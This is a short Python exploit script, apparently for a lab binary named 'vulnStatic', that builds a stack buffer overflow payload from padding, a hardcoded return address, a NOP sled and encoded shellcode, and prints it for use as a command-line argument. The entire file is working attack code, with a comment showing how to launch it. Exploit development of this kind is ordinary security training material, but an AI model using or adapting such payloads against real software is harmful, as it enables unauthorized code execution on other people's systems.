import os

# to exploit: ./vulnStatic $(python exploit.py)

junk = "A" * 508

shellcode = "\xdd\xc2\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x11\xa1\x24"
shellcode += "\xa5\xb1\x0c\x31\x7e\x18\x03\x7e\x18\x83\xc6\x15\x43"
shellcode += "\xd1\xcf\x1e\xdb\x83\x42\x46\xb3\x9e\x01\x0f\xa4\x89"
shellcode += "\xea\x7c\x43\x4a\x9d\xad\xf1\x23\x33\x38\x16\xe1\x23"
shellcode += "\x30\xd9\x06\xb4\x6b\xbb\x6f\xda\x5c\x59\x11\x51\xca"
shellcode += "\x9d\x86\xc6\x83\x7f\xe5\x69"

epi = "\x87\x0c\x0d\x08"

nops = "\x90" * 50

buffer= junk + epi + nops + shellcode

print(buffer)

